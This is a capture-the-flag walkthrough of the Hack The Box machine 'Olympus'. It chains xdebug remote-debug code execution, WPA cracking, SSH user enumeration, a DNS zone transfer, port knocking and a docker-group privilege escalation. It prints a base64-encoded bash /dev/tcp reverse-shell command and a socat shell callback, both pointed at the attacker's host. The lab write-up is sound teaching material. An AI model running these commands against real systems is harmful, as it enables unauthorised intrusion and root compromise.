Tags: linux, hack the box, xdebug, docker
Olympus was a fun box. I enjoyed the storyline-style challenge peppered with Greek mythology (I loved these stories as a kid). It was my first time being exposed to xdebug
and I haven’t had any real reason to play with wireless since my early education in cybersecurity. I enjoyed the challenge posed by Olympus. The creator, OscarAkaElvis, obviously put a lot of thought into the machine.
As usual, we start off with a masscan
followed by a targeted nmap
.
masscan -e tun0 -p0-65535 --rate 700 -oL scan.10.10.10.83.tcp 10.10.10.83
#masscan
open tcp 53 10.10.10.83 1537353799
open tcp 80 10.10.10.83 1537353921
open tcp 2222 10.10.10.83 1537353927
# end
masscan -e tun0 --ports U:0-65535 -oL scan.10.10.10.83.udp --rate 700 10.10.10.83
#masscan
open udp 53 10.10.10.83 1537353817
# end
nmap -p 53,80,2222 -sC -sV -oN nmap.scan 10.10.10.83
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-19 05:48 CDT
Nmap scan report for 10.10.10.83
Host is up (0.067s latency).
PORT STATE SERVICE VERSION
53/tcp open domain (unknown banner: Bind)
| dns-nsid:
|_ bind.version: Bind
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
| bind
|_ Bind
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Crete island - Olympus HTB
2222/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-City of olympia
| ssh-hostkey:
| 2048 f2:ba:db:06:95:00:ec:05:81:b0:93:60:32:fd:9e:00 (RSA)
| 256 79:90:c0:3d:43:6c:8d:72:19:60:45:3c:f8:99:14:bb (ECDSA)
|_ 256 f8:5b:2e:32:95:03:12:a3:3b:40:c5:11:27:ca:71:52 (ED25519)
-------------8<-------------
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.22 seconds
nmap -p 53 -sU -sC -sV -oN nmap.scan.udp 10.10.10.83
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-19 05:48 CDT
Nmap scan report for 10.10.10.83
Host is up (0.067s latency).
PORT STATE SERVICE VERSION
53/udp open domain (unknown banner: Bind)
| dns-nsid:
|_ bind.version: Bind
| fingerprint-strings:
| DNSVersionBindReq:
| version
| bind
| Bind
| NBTStat:
| CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|_ ROOT-SERVERS
-------------8<-------------
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.79 seconds
nikto
had some success. Highlighted below is an interesting header, xdebug.
/usr/bin/nikto -host 10.10.10.83
1- Nikto v2.1.6
2---------------------------------------------------------------------------
3+ Target IP: 10.10.10.83
4+ Target Hostname: 10.10.10.83
5+ Target Port: 80
6+ Start Time: 2018-04-23 06:33:22 (GMT-4)
7---------------------------------------------------------------------------
8+ Server: Apache
9+ Uncommon header 'xdebug' found, with contents: 2.5.5
10+ No CGI Directories found (use '-C all' to force check all possible dirs)
11+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
12+ OSVDB-3233: /icons/README: Apache default file found.
13+ 7515 requests: 10 error(s) and 3 item(s) reported on remote host
14+ End Time: 2018-04-23 07:01:25 (GMT-4) (1683 seconds)
15---------------------------------------------------------------------------
16+ 1 host(s) tested
From the xdebug about page:
Xdebug is an extension for PHP to assist with debugging and development.
There is a metasploit module to accomplish what we’re going to do here, but I think it’s more interesting to see how those kinds of things work underneath.
The basic idea is to setup remote debugging using xdebug
. The xdebug
documentation has a nice gif to visually depict how remote debugging works. In the context of the gif below, we’re going to be acting as the IDE.
In order to start remote debugging, we’ll need a debugging client. I chose to build xdebug from source. If you’re wondering, there are a lot of ways to communicate with the server, using the DBGp protocol. I chose to use an existing tool, but for the purposes of this box, a simple script could work as well.
apt install php php-dev libtool-bin
git clone git://github.com/xdebug/xdebug.git
cd xdebug
./rebuild.sh
cd debugclient
./buildconf
./configure
make && make install
After building the client, we start it up and have it listening on port 9000.
debugclient
Xdebug Simple DBGp client (0.12.0)
Copyright 2002-2018 by Derick Rethans.
Creating a socket for IPv4.
Waiting for debug server to connect on port 9000.
Also from the xdebug
documentation:
When there is a GET (or POST) variable XDEBUG_SESSION_START or the XDEBUG_SESSION cookie is set, Xdebug will try to connect to a debugclient.
Knowing that, a simple request to the webserver is enough to get our remote debugging connection. I used httpie below. It’s a nice tool and has pretty simple syntax.
http 10.10.10.83 'XDEBUG_SESSION_START==10.10.14.77'
Connect
<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///var/www/html/index.php" language="PHP" xdebug:language_version="7.1.12" protocol_version="1.0" appid="54" idekey="10.10.14.77"><engine version="2.5.5"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2017 by Derick Rethans]]></copyright></init>
(cmd)
Given our debugging session, the next step is to figure out what we can do with it. Checking the core command documentation for DBGp, there appears to be a very useful command: eval.
eval:
Evaluate a given string within the current execution context.
eval -i transaction_id -- {DATA}
The {DATA} in this case needs to be base64 encoded. Since I usually have burp up and running anyway, it’s a nice place to do some quick encoding using the Decoder tab. To generate the callback command, I used a /dev/tcp callback and then wrapped it in a call to php’s system
function.
(cmd) eval -i 1 -- c3lzdGVtKCJiYXNoIC1jICcwPCYxOTItO2V4ZWMgMTkyPD4vZGV2L3RjcC8xMC4xMC4xNC43Ny8xMjM0NTtzaCA8JjE5MiA+JjE5MiAyPiYxOTInIik7
nc -nvlp 12345
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::12345
Ncat: Listening on 0.0.0.0:12345
Ncat: Connection from 10.10.10.83.
Ncat: Connection from 10.10.10.83:48702.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
\o/ - initial access: www-data
A webshell is cool, but a full pty shell is much cooler. Statically compiled socat
to the rescue!
# on kali
nc -nvlp 12345 < socat
# on target
nc -nv 10.10.14.77 12345 > socat
# on kali
socat file:`tty`,raw,echo=0 tcp-listen:4444
# on target
socat tcp-connect:10.10.14.77:4444 exec:"bash -li",pty,stderr,setsid,sigint,sane
Once that is taken care of, time to enumerate.
bash LinEnum.sh -k pass -r linenum.www-data.out -t -e /dev/shm
LinEnum.sh
output includes some stuff that looks interesting. There is papyrus.txt and captured.cap. The text file is a hint for the next step, while the .cap file is a pcap that we can pull back and examine.
/home/zeus/airgeddon/captured/papyrus.txt
═════════════════════════════════════════
Captured while flying. I'll banish him to Olympia - Zeus
In case you missed it in the nmap scan, the banner for the ssh server running on port 2222 looks like this
2222/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-City of olympia
/home/zeus/airgeddon/captured/captured.cap
I was curious about the path to this pcap, specifically, what is airgeddon
? It turns out that its a wireless network auditing tool.
After pulling the pcap back, we can open it in wireshark
. It’s not surprising to see wireless traffic in the pcap, considering the tool that presumably generated it is designed to audit wireless networks. I opened up the first packet and pulled out two pieces of information that we need to proceed.
First, the SSID is set to Too_cl0se_to_th3_Sun. Keeping in line with the Greek mythology clues, the SSID is a clear reference to the story of Icarus. We don’t necessarily know what it’s for yet, but all signs point to it being important.
The second piece of information here is that the wireless network in the capture is secured using WEP WPA (thank you to Progentator for pointing out my mistake). One can determine WPA is used by using the filter eapol.type
and checking out the 802.1X Authentication section. Knowing that we’re dealing with WPA, cracking the password is almost certainly what’s needed next.
Cracking WEP WPA is relativley straightforward using aircrack-ng
. It took about 45 minutes to crack on my VM, ymmv.
aircrack-ng captured.cap -w /usr/share/wordlists/rockyou.txt
After cracking WPA, we’re left with the key flightoficarus.
We now have the following clues
Putting these three things together correctly takes some patience along with some trial and error. The banished to olympia suggests that we’re supposed to be able to ssh now. After a little bit of guess-work, we can arrive at the following credentials for ssh.
user: icarus
pass: Too_cl0se_to_th3_Sun
The guessing here was a sticking point for a lot of people (myself included). At the time, there was no easy way to verify whether or not a user existed on the box. Fortunately, we’re living in a post-CVE-2018-15473 world, and checking if we have a valid username is trivial on a lot of nix systems. I was thrilled when the initial PoC came out for this CVE and rolled my own implementation. Justin Gardner released his implementation that included the one piece I had not figured out to make my tool work. He wrote the workaround for the add_boolean problem that enabled me to complete my project. Without his code, mine would probably still be unfinished.
When I started writing the tool, I wanted something that was threaded, handled IPv6, and supported wordlists and single user enumeration. I’m pretty sure the only thing it’s missing to make it a truly legit security tool is some ascii art banners. If you’re interested, you can check out mine here.
/opt/cve-2018-15473/ssh-username-enum.py -u icarus -p 2222 10.10.10.83
[!] Attempted OpenSSH version detection; version not recognized.
[!] Found: SSH-2.0-City of olympia
[+] icarus found!
ssh -l icarus -p 2222 10.10.10.83
icarus@10.10.10.83's password:
Last login: Fri Sep 21 12:03:25 2018 from 10.10.14.7
icarus@620b296204a3:~$
\o/ - access level: icarus
A simple ls
of icarus’s home directory shows an interesting file, help_of_the_gods.txt
.
The contents contain what looks like a domain name. That happens to be exactly what we need to do a proper dns zone transfer against the box (recall that tcp port 53 is open).
~/help_of_the_gods.txt
════════════════════════════
Athena goddess will guide you through the dark...
Way to Rhodes...
ctfolympus.htb
A simple dig
query is enough to perform our zone transfer.
dig -t AXFR -q ctfolympus.htb @10.10.10.83
dig options used:
-t type
The resource record type to query.
...
A zone transfer can be requested by specifying a type of AXFR.
-q name
The domain name to query.
Below you’ll see the way forward highlighted. The three numbers in parentheses in conjunction with the phrase open a portal suggest port knocking is the way forward.
1; <<>> DiG 9.11.3-2-Debian <<>> AXFR ctfolympus.htb @10.10.10.83
2;; global options: +cmd
3ctfolympus.htb. 86400 IN SOA ns1.ctfolympus.htb. ns2.ctfolympus.htb. 2018042301 21600 3600 604800 86400
4ctfolympus.htb. 86400 IN TXT "prometheus, open a temporal portal to Hades (3456 8234 62431) and St34l_th3_F1re!"
5ctfolympus.htb. 86400 IN A 192.168.0.120
6ctfolympus.htb. 86400 IN NS ns1.ctfolympus.htb.
7ctfolympus.htb. 86400 IN NS ns2.ctfolympus.htb.
8ctfolympus.htb. 86400 IN MX 10 mail.ctfolympus.htb.
9crete.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb.
10hades.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb.
11mail.ctfolympus.htb. 86400 IN A 192.168.0.120
12ns1.ctfolympus.htb. 86400 IN A 192.168.0.120
13ns2.ctfolympus.htb. 86400 IN A 192.168.0.120
14rhodes.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb.
15RhodesColossus.ctfolympus.htb. 86400 IN TXT "Here lies the great Colossus of Rhodes"
16www.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb.
17ctfolympus.htb. 86400 IN SOA ns1.ctfolympus.htb. ns2.ctfolympus.htb. 2018042301 21600 3600 604800 86400
18;; Query time: 69 msec
19;; SERVER: 10.10.10.83#53(10.10.10.83)
20;; WHEN: Fri Sep 21 09:30:08 CDT 2018
21;; XFR size: 15 records (messages 1, bytes 475)
knockd comes with a command-line tool to do port knocking. If you don’t have it installed, run the command below.
apt install knockd
Once installed, knocking is simple.
knock -d 150 -v 10.10.10.83 3456 8234 62431
knock options used:
-d, --delay <t>
wait <t> milliseconds between port hits
-v, --verbose
be verbose
hitting tcp 10.10.10.83:3456
hitting tcp 10.10.10.83:8234
hitting tcp 10.10.10.83:62431
A quick netcat
verification.
nc -nv 10.10.10.83 22
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Connected to 10.10.10.83:22.
SSH-2.0-Hades
SUCCESS! We’ve opened the portal to hades. Now to actually get in there as the user. The zone transfer asked prometheus (the guy who gave fire to mankind according to greek mythology) to open the portal. That seems like a logical username to try along with the very passwordy-looking St34l_th3_F1re! as the password.
user: prometheus
pass: St34l_th3_F1re!
ssh -l prometheus 10.10.10.83
prometheus@10.10.10.83's password:
Welcome to
) (
( /( ) )\ ) (
)\()) ( /( (()/( ))\ (
((_)\ )(_)) ((_))/((_))\
| |(_)((_)_ _| |(_)) ((_)
| ' \ / _` |/ _` |/ -_)(_-<
|_||_|\__,_|\__,_|\___|/__/
prometheus@olympus:~$
wc -c user.txt
33 user.txt
\o/ - user access: prometheus
Another ls
of the home directory shows another breadcrumb msg_of_gods.txt
. Let’s check the contents
~/msg_of_gods.txt
════════════════════════════
Only if you serve well to the gods, you'll be able to enter into the
_
___ | | _ _ ._ _ _ ___ _ _ ___
/ . \| || | || ' ' || . \| | |<_-<
\___/|_|`_. ||_|_|_|| _/`___|/__/
<___' |_|
To tell the truth, I didn’t get a whole lot of help from this breadcrumb, but the way ahead was pretty simple to find with basic enumeration.
A quick using id
shows that we are part of the docker group.
uid=1000(prometheus) gid=1000(prometheus) groups=1000(prometheus),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(bluetooth),999(docker)
Normally, any docker
command requires you to run it with sudo
. This is because the Docker ecosystem inherently gives power to any user that can access the Docker daemon. The Docker daemon will allow access to either the root user or any user in the docker group. Putting a user in the docker group, is the same as giving them root access to the box without the need of a password. Let’s see how it works in practice.
docker container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
f55347f7d27c crete "docker-php-entrypoi…" 19 hours ago Up 19 hours 80/tcp jovial_liskov
d7f85d733c04 crete "docker-php-entrypoi…" 35 hours ago Up 35 hours 80/tcp laughing_lumiere
f00ba96171c5 crete "docker-php-entrypoi…" 5 months ago Up 2 days 0.0.0.0:80->80/tcp crete
ce2ecb56a96e rodhes "/etc/bind/entrypoin…" 5 months ago Up 2 days 0.0.0.0:53->53/tcp, 0.0.0.0:53->53/udp rhodes
620b296204a3 olympia "/usr/sbin/sshd -D" 5 months ago Up 2 days 0.0.0.0:2222->22/tcp olympia
Now let’s get that root flag.
docker run -d -v /:/hostroot olympia
docker run options used:
-d, --detach
Run container in background and print container ID
-v, --volume list
Bind mount a volume
The important part of the docker command above is really the /:/hostroot
. This tells docker that we want to create a volume in the new docker instance of the olympia container. We set the volume to mount the root of the host filesystem (/
) at /hostroot
inside the instance.
1CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
2549d20e5c267 olympia "/usr/sbin/sshd -D" 27 seconds ago Up 26 seconds boring_einstein
3f55347f7d27c crete "docker-php-entrypoi…" 19 hours ago Up 19 hours 80/tcp jovial_liskov
4d7f85d733c04 crete "docker-php-entrypoi…" 35 hours ago Up 35 hours 80/tcp laughing_lumiere
5f00ba96171c5 crete "docker-php-entrypoi…" 5 months ago Up 2 days 0.0.0.0:80->80/tcp crete
6ce2ecb56a96e rodhes "/etc/bind/entrypoin…" 5 months ago Up 2 days 0.0.0.0:53->53/tcp, 0.0.0.0:53->53/udp rhodes
7620b296204a3 olympia "/usr/sbin/sshd -D" 5 months ago Up 2 days 0.0.0.0:2222->22/tcp olympia
We can see the new instance running, highlighted above. Now we just need to connect.
docker exec -i -t boring_einstein /bin/bash
docker exec options used:
-i, --interactive
Keep STDIN open even if not attached
-t, --tty
Allocate a pseudo-TTY
root@549d20e5c267:/#
A quick ls
of /
shows our mounted volume.
1drwxr-xr-x 2 root root 4096 Feb 28 2018 bin
2drwxr-xr-x 2 root root 4096 Apr 12 2016 boot
3drwxr-xr-x 5 root root 340 Sep 21 15:32 dev
4drwxr-xr-x 1 root root 4096 Sep 21 15:32 etc
5drwxr-xr-x 1 root root 4096 Apr 8 11:59 home
6drwxr-xr-x 22 root root 4096 Apr 2 20:48 hostroot
7drwxr-xr-x 1 root root 4096 Sep 13 2015 lib
8SNIP
With the host’s filesystem mounted, we can grab the root flag!
wc -c /hostroot/root/root.txt
33 /hostroot/root/root.txt
\o/ - root access
I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.